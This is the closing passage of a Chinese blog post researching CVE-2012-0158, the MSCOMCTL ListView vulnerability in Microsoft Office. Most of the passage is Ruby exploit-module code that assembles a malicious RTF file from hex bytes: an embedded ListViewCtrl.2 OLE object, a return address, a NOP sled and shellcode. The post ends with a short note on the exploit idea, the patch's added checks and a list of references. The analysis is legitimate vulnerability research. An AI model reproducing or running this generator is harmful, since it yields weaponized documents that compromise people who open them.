content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"
content << "72007900000000000000000000000000000000000000000000000000000000000000000000000000"
content << "000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"
content << "0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"
content << "49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"
content << "0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000600000000000000"
content << "03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"
content << "000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"
content << "00000000000000000000000000000000000000000000000000000000000000000000000001000000"
content << "160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"
content << "000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"
content << "FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"
content << "00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"
content << "0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"
content << "11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content << "FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000004C00690073007400"
content << "56006900650077004100000000000000000000000000000000000000000000000000000000000000"
content << "0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"
content << "1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"
content << "05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"
content << "6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"
content << "000000000000"
#* 将 shellcode 与返回地址包含在 RTF 文件中
content << ret_address
content << "9090909090909090"
content << shellcode
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content << "00000000000000"
content << "\n"
content << "}"
content << "}"
content << "}"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)

end
end

该 exp 的利用思路经典而简单明了————生成一个嵌入了恶意 MSComctlLib.ListViewCtrl.2 控件的 RTF 文件,其中控件被插入了 shellcode————在此就不过多赘述

漏洞修复

补丁后的程序在内存复制前的判断条件修改如下:

  • v7(前四个字节) == Cobj
  • dwVersion == 0x64
  • dwBytes == 8

全部满足方可接着执行加载方法

Reference

CVE-2012-0158 An Anatomy of a Prolific Exploit
NVD - CVE-2012-0158
CVE - CVE-2012-0158
Github - CVE-2012-0158
漏洞战争
看雪论坛精华帖
吾爱破解精华帖
永远的经典:CVE-2012-0158漏洞分析、利用、检测和总结

  • Title: CVE-2012-0158 漏洞研究
  • Author: 7erry
  • Created at : 2024-08-04 19:09:19
  • Updated at : 2024-08-04 19:09:19
  • Link: http://7erry.com/2024/08/04/CVE-2012-0158-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.